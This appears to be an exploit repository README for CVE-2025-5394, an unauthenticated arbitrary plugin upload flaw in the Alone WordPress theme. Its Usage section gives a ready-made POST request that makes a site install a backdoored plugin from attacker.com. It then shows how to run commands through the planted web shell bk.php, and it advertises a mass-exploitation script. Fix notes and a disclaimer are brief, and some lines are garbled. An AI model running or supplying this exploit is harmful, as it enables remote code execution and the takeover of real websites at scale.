
Alone – Charity Multipurpose Non-profit WordPress Theme <= 7.8.3 - Missing Authorization to Unauthenticated Arbitrary File Upload via Plugin Installation
🔥 Vulnerability Summary
The WordPress theme Alone versions <= 7.8.3 is vulnerable to an unauthenticated arbitrary file upload vulnerability. This flaw allows unauthenticated attackers to upload and install arbitrary plugin ZIP files from remote URLs via an unprotected AJAX endpoint — resulting in remote code execution (RCE) by deploying backdoored plugins.
This vulnerability stems from the beplus_import_pack_install_plugin function exposed to the public via wp_ajax_nopriv_ without any authentication or capability checks. The function installs and activates a plugin from a user-supplied URL.
🔍 Affected Theme
🧪 Exploit Features
/wp-admin/admin-ajax.php?action=beplus_import_pack_install_plugin🧠 Researcher
🚀 Usage
Prepare a malicious plugin ZIP file hosted on a server you control.
Plugin Name:) and PHP backdoor (e.g., bk.php)Craft the following POST request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.com
Content-Type: application/x-www-form-urlencoded
action=beplus_import_pack_install_plugin&
data[plugin_slug]=hello-dolly&
data[plugin_source]=https://attacker.com/hello-dolly.zip
If successful, the plugin is installed and activated. Access your shell at:
https://victim.com/wp-content/plugins/hello-dolly/bk.php?cmd=id
🧰 Mass Exploitation Script This repository includes a mass exploit tool with:
result.txtSee mass_beplus_exploit.py for details.
🛠 Fix Recommendations
wp_ajax_nopriv_beplus_import_pack_install_plugin hook.current_user_can('install_plugins'))🔒 Disclaimer:
This information is provided for educational and authorized security testing purposes only. Unauthorized access or use of computer systems is illegal and unethical.
📚 Reference:
CVE: CVE-2025-5394
Researcher: Thai An